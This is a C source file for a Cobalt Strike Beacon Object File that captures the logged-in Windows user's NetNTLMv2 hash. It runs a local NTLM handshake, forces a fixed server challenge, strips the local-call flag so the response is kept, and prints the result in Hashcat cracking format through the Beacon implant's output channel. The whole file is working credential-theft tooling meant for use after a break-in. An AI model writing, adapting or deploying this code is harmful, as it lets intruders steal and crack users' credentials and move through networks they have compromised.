capturenetntlm.c 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tchar.h>
  4. #define SECURITY_WIN32
  5. #include <Security.h>
  6. #include <Wincrypt.h>
  7. #include "capturenetntlm.h"
  8. #include "beacon.h"
  9. #pragma comment(lib,"Secur32")
  10. #define MSV1_0_CHALLENGE_LENGTH 8
  11. #ifndef bufsize
  12. #define bufsize 8192
  13. #endif
  14. char *output = 0;
  15. WORD currentoutsize = 0;
  16. HANDLE trash = NULL;
  17. int bofstart();
  18. void internal_printf(const char* format, ...);
  19. void printoutput(BOOL done);
  20. //
  21. //Most of the code originates from: https://github.com/leechristensen/GetNTLMChallenge/tree/master
  22. //
  23. typedef enum {
  24. NtLmNegotiate = 1,
  25. NtLmChallenge,
  26. NtLmAuthenticate,
  27. NtLmUnknown
  28. } NTLM_MESSAGE_TYPE;
  29. typedef struct _STRING32 {
  30. USHORT Length;
  31. USHORT MaximumLength;
  32. DWORD Offset;
  33. } STRING32, *PSTRING32;
  34. // Valid values of NegotiateFlags
  35. #define NTLMSSP_NEGOTIATE_UNICODE 0x00000001
  36. #define NTLMSSP_NEGOTIATE_OEM 0x00000002
  37. #define NTLMSSP_REQUEST_TARGET 0x00000004
  38. #define NTLMSSP_NEGOTIATE_SIGN 0x00000010
  39. #define NTLMSSP_NEGOTIATE_SEAL 0x00000020
  40. #define NTLMSSP_NEGOTIATE_DATAGRAM 0x00000040
  41. #define NTLMSSP_NEGOTIATE_NTLM 0x00000200
  42. #define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED 0x1000
  43. #define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED 0x2000
  44. #define NTLMSSP_NEGOTIATE_LOCAL_CALL 0x00004000
  45. #define NTLMSSP_NEGOTIATE_ALWAYS_SIGN 0x00008000
  46. // Valid target types returned by the server in Negotiate Flags
  47. #define NTLMSSP_TARGET_TYPE_DOMAIN 0x00010000
  48. #define NTLMSSP_TARGET_TYPE_SERVER 0x00020000
  49. #define NTLMSSP_TARGET_TYPE_SHARE 0x00040000
  50. #define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000
  51. #define NTLMSSP_NEGOTIATE_IDENTIFY 0x00100000
  52. // Valid requests for additional output buffers
  53. #define NTLMSSP_REQUEST_ACCEPT_RESPONSE 0x00200000
  54. #define NTLMSSP_REQUEST_NON_NT_SESSION_KEY 0x00400000
  55. #define NTLMSSP_NEGOTIATE_TARGET_INFO 0x00800000
  56. #define NTLMSSP_NEGOTIATE_EXPORTED_CONTEXT 0x01000000
  57. #define NTLMSSP_NEGOTIATE_VERSION 0x02000000
  58. #define NTLMSSP_NEGOTIATE_128 0x20000000
  59. #define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000
  60. #define NTLMSSP_NEGOTIATE_56 0x80000000
  61. // flags used in client space to control sign and seal; never appear on the wire
  62. #define NTLMSSP_APP_SEQ 0x0040
  63. #define MsvAvEOL 0x0000
  64. #define MsvAvNbComputerName 0x0001
  65. #define MsvAvNbDomainName 0x0002
  66. #define MsvAvNbDnsComputerName 0x0003
  67. #define MsvAvNbDnsDomainName 0x0004
  68. #define MsvAvNbDnsTreeName 0x0005
  69. #define MsvAvFlags 0x0006
  70. #define MsvAvTimestamp 0x0007
  71. #define MsvAvRestrictions 0x0008
  72. #define MsvAvTargetName 0x0009
  73. #define MsvAvChannelBindings 0x000A
  74. typedef struct _NTLM_VERSION {
  75. BYTE ProductMajorVersion;
  76. BYTE ProductMinorVersion;
  77. USHORT ProductBuild;
  78. BYTE reserved[3];
  79. BYTE NTLMRevisionCurrent;
  80. } NTLM_VERSION, *PNTLM_VERSION;
  81. typedef struct _NTLMv2_CLIENT_CHALLENGE {
  82. BYTE RespType;
  83. BYTE HiRespType;
  84. USHORT Reserved1;
  85. DWORD Reserved2;
  86. ULONGLONG TimeStamp;
  87. BYTE ChallengeFromClient[8];
  88. DWORD Reserved3;
  89. BYTE AvPair[4];
  90. } NTLMv2_CLIENT_CHALLENGE, *PNTLMv2_CLIENT_CHALLENGE;
  91. typedef struct _NTLMv2_RESPONSE {
  92. BYTE Response[16];
  93. NTLMv2_CLIENT_CHALLENGE Challenge;
  94. } NTLMv2_RESPONSE, *PNTLMv2_RESPONSE;
  95. typedef struct _NEGOTIATE_MESSAGE {
  96. UCHAR Signature[8];
  97. DWORD MessageType;
  98. DWORD NegotiateFlags;
  99. STRING32 OemDomainName;
  100. STRING32 OemWorkstationName;
  101. } NEGOTIATE_MESSAGE, *PNEGOTIATE_MESSAGE;
  102. typedef struct _NEGOTIATE_MESSAGE_WITH_VERSION {
  103. UCHAR Signature[8];
  104. DWORD MessageType;
  105. DWORD NegotiateFlags;
  106. STRING32 OemDomainName;
  107. STRING32 OemWorkstationName;
  108. NTLM_VERSION Version;
  109. } NEGOTIATE_MESSAGE_WITH_VERSION, *PNEGOTIATE_MESSAGE_WITH_VERSION;
  110. typedef struct _CHALLENGE_MESSAGE {
  111. UCHAR Signature[8];
  112. DWORD MessageType;
  113. STRING32 TargetName;
  114. DWORD NegotiateFlags;
  115. UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
  116. ULONG64 ServerContextHandle;
  117. STRING32 TargetInfo;
  118. } CHALLENGE_MESSAGE, *PCHALLENGE_MESSAGE;
  119. typedef struct _CHALLENGE_MESSAGE_WITH_VERSION {
  120. UCHAR Signature[8];
  121. DWORD MessageType;
  122. STRING32 TargetName;
  123. DWORD NegotiateFlags;
  124. UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
  125. ULONG64 ServerContextHandle;
  126. STRING32 TargetInfo;
  127. NTLM_VERSION Version;
  128. } CHALLENGE_MESSAGE_WITH_VERSION, *PCHALLENGE_MESSAGE_WITH_VERSION;
  129. typedef struct _AUTHENTICATE_MESSAGE {
  130. UCHAR Signature[8];
  131. DWORD MessageType;
  132. STRING32 LmChallengeResponse;
  133. STRING32 NtChallengeResponse;
  134. STRING32 DomainName;
  135. STRING32 UserName;
  136. STRING32 Workstation;
  137. STRING32 SessionKey;
  138. DWORD NegotiateFlags;
  139. } AUTHENTICATE_MESSAGE, *PAUTHENTICATE_MESSAGE;
  140. typedef struct _RESTRICTIONS_ENCODING {
  141. DWORD dwSize;
  142. DWORD dwReserved;
  143. DWORD dwIntegrityLevel;
  144. DWORD dwSubjectIntegrityLevel;
  145. BYTE MachineId[32];
  146. } RESTRICTIONS_ENCODING, *PRESTRICTIONS_ENCODING;
  147. typedef LONG NTSTATUS;
  148. typedef struct _UNICODE_STRING {
  149. USHORT Length;
  150. USHORT MaximumLength;
  151. PWSTR Buffer;
  152. } UNICODE_STRING, *PUNICODE_STRING;
  153. typedef struct _KEY_BLOB {
  154. BYTE bType;
  155. BYTE bVersion;
  156. WORD reserved;
  157. ALG_ID aiKeyAlg;
  158. ULONG keysize;
  159. BYTE Data[16];
  160. } KEY_BLOB;
  161. NTSTATUS WINAPI SystemFunction007(PUNICODE_STRING string, LPBYTE hash);
  162. //START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
  163. int bofstart() {
  164. output = (char*)MSVCRT$calloc(bufsize, 1);
  165. currentoutsize = 0;
  166. return 1;
  167. }
  168. void internal_printf(const char* format, ...){
  169. int buffersize = 0;
  170. int transfersize = 0;
  171. char * curloc = NULL;
  172. char* intBuffer = NULL;
  173. va_list args;
  174. va_start(args, format);
  175. buffersize = MSVCRT$vsnprintf(NULL, 0, format, args);
  176. va_end(args);
  177. if (buffersize == -1) return;
  178. char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
  179. intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
  180. va_start(args, format);
  181. MSVCRT$vsnprintf(intBuffer, buffersize, format, args);
  182. va_end(args);
  183. if(buffersize + currentoutsize < bufsize)
  184. {
  185. MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
  186. currentoutsize += buffersize;
  187. } else {
  188. curloc = intBuffer;
  189. while(buffersize > 0)
  190. {
  191. transfersize = bufsize - currentoutsize;
  192. if(buffersize < transfersize)
  193. {
  194. transfersize = buffersize;
  195. }
  196. MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
  197. currentoutsize += transfersize;
  198. if(currentoutsize == bufsize)
  199. {
  200. printoutput(FALSE);
  201. }
  202. MSVCRT$memset(transferBuffer, 0, transfersize);
  203. curloc += transfersize;
  204. buffersize -= transfersize;
  205. }
  206. }
  207. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
  208. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
  209. }
  210. void printoutput(BOOL done) {
  211. char * msg = NULL;
  212. BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
  213. currentoutsize = 0;
  214. MSVCRT$memset(output, 0, bufsize);
  215. if(done) {MSVCRT$free(output); output=NULL;}
  216. }
  217. //END TrustedSec BOF print code.
  218. void SetPredefinedChallenge(UCHAR challenge[MSV1_0_CHALLENGE_LENGTH]) {
  219. const UCHAR predefinedChallenge[] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
  220. MSVCRT$memcpy(challenge, predefinedChallenge, MSV1_0_CHALLENGE_LENGTH);
  221. }
  222. BOOL GetNTLMChallengeAndResponse() {
  223. CHAR szDomainName[256 + 1] = "";
  224. CHAR szUserName[256 + 1] = "";
  225. char ntlmsp_name[] = "NTLM";
  226. UCHAR bServerChallenge[MSV1_0_CHALLENGE_LENGTH];
  227. PNTLMv2_RESPONSE pNtChallengeResponse = NULL;
  228. PNTLMv2_CLIENT_CHALLENGE pClientChallenge = NULL;
  229. DWORD dwClientChallengeSize = 0;
  230. CredHandle hInboundCred;
  231. CredHandle hOutboundCred;
  232. TimeStamp InboundLifetime;
  233. TimeStamp OutboundLifetime;
  234. DWORD status = SECUR32$AcquireCredentialsHandleA(NULL, ntlmsp_name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hOutboundCred, &OutboundLifetime);
  235. if (status != 0)
  236. return FALSE;
  237. status = SECUR32$AcquireCredentialsHandleA(NULL, ntlmsp_name, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hInboundCred, &InboundLifetime);
  238. if (status != 0)
  239. return FALSE;
  240. SecBufferDesc OutboundNegotiateBuffDesc;
  241. SecBuffer NegotiateSecBuff;
  242. OutboundNegotiateBuffDesc.ulVersion = 0;
  243. OutboundNegotiateBuffDesc.cBuffers = 1;
  244. OutboundNegotiateBuffDesc.pBuffers = &NegotiateSecBuff;
  245. NegotiateSecBuff.cbBuffer = 0;
  246. NegotiateSecBuff.BufferType = SECBUFFER_TOKEN;
  247. NegotiateSecBuff.pvBuffer = NULL;
  248. SecBufferDesc OutboundChallengeBuffDesc;
  249. SecBuffer ChallengeSecBuff;
  250. OutboundChallengeBuffDesc.ulVersion = 0;
  251. OutboundChallengeBuffDesc.cBuffers = 1;
  252. OutboundChallengeBuffDesc.pBuffers = &ChallengeSecBuff;
  253. ChallengeSecBuff.cbBuffer = 0;
  254. ChallengeSecBuff.BufferType = SECBUFFER_TOKEN;
  255. ChallengeSecBuff.pvBuffer = NULL;
  256. SecBufferDesc OutboundAuthenticateBuffDesc;
  257. SecBuffer AuthenticateSecBuff;
  258. OutboundAuthenticateBuffDesc.ulVersion = 0;
  259. OutboundAuthenticateBuffDesc.cBuffers = 1;
  260. OutboundAuthenticateBuffDesc.pBuffers = &AuthenticateSecBuff;
  261. AuthenticateSecBuff.cbBuffer = 0;
  262. AuthenticateSecBuff.BufferType = SECBUFFER_TOKEN;
  263. AuthenticateSecBuff.pvBuffer = NULL;
  264. CtxtHandle OutboundContextHandle = { 0 };
  265. ULONG OutboundContextAttributes = 0;
  266. CtxtHandle ClientContextHandle = { 0 };
  267. ULONG InboundContextAttributes = 0;
  268. // Setup the client security context
  269. status = SECUR32$InitializeSecurityContextA(&hOutboundCred, NULL, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, NULL, 0, &OutboundContextHandle, &OutboundNegotiateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
  270. if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
  271. NEGOTIATE_MESSAGE* negotiate = (NEGOTIATE_MESSAGE*)OutboundNegotiateBuffDesc.pBuffers[0].pvBuffer;
  272. status = SECUR32$AcceptSecurityContext(&hInboundCred, NULL, &OutboundNegotiateBuffDesc, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, SECURITY_NATIVE_DREP, &ClientContextHandle, &OutboundChallengeBuffDesc, &InboundContextAttributes, &InboundLifetime);
  273. if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
  274. // client
  275. CHALLENGE_MESSAGE* challenge = (CHALLENGE_MESSAGE*)OutboundChallengeBuffDesc.pBuffers[0].pvBuffer;
  276. // Set the predefined challenge instead of the random one
  277. SetPredefinedChallenge(challenge->Challenge);
  278. // when local call, windows remove the ntlm response
  279. challenge->NegotiateFlags &= ~NTLMSSP_NEGOTIATE_LOCAL_CALL;
  280. status = SECUR32$InitializeSecurityContextA(&hOutboundCred, &OutboundContextHandle, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, &OutboundChallengeBuffDesc, 0, &OutboundContextHandle, &OutboundAuthenticateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
  281. if (status != 0) return FALSE;
  282. AUTHENTICATE_MESSAGE* authenticate = (AUTHENTICATE_MESSAGE*)OutboundAuthenticateBuffDesc.pBuffers[0].pvBuffer;
  283. // Get domain name
  284. MSVCRT$memcpy(szDomainName, ((PBYTE)authenticate + authenticate->DomainName.Offset), authenticate->DomainName.Length);
  285. szDomainName[authenticate->DomainName.Length] = 0;
  286. // Get username
  287. MSVCRT$memcpy(szUserName, ((PBYTE)authenticate + authenticate->UserName.Offset), authenticate->UserName.Length);
  288. szUserName[authenticate->UserName.Length] = 0;
  289. // Get the Server challenge
  290. MSVCRT$memcpy(bServerChallenge, challenge->Challenge, MSV1_0_CHALLENGE_LENGTH);
  291. // Get the Challenge response
  292. pNtChallengeResponse = (PNTLMv2_RESPONSE)((ULONG_PTR)authenticate + authenticate->NtChallengeResponse.Offset);
  293. pClientChallenge = &(pNtChallengeResponse->Challenge);
  294. dwClientChallengeSize = authenticate->NtChallengeResponse.Length - 16;
  295. // Print output in Hashcat Format: username:domain:ServerChallenge:response:blob
  296. internal_printf("[+] Successful NetNTLMv2 hash capture:\n");
  297. internal_printf("========================================\n\n");
  298. internal_printf("%ls::%ls:", szUserName, szDomainName);
  299. // ServerChallenge
  300. for (int i = 0; i < sizeof(bServerChallenge); i++) {
  301. internal_printf("%02x", bServerChallenge[i]);
  302. }
  303. internal_printf(":");
  304. // response
  305. for (int i = 0; i < sizeof(pNtChallengeResponse->Response); i++) {
  306. internal_printf("%02x", pNtChallengeResponse->Response[i]);
  307. }
  308. internal_printf(":");
  309. // blob
  310. for (DWORD i = 0; i < dwClientChallengeSize; i++) {
  311. internal_printf("%02x", *((PBYTE)(&(pNtChallengeResponse->Challenge)) + i)); // 16
  312. }
  313. internal_printf("\n");
  314. return TRUE;
  315. }
  316. int go() {
  317. if(!bofstart()) return;
  318. BOOL result = GetNTLMChallengeAndResponse();
  319. if (result) {
  320. printoutput(TRUE);
  321. } else {
  322. BeaconPrintf(CALLBACK_OUTPUT,"\nFailed to capture NetNTLM hash.\n");
  323. }
  324. return 0;
  325. }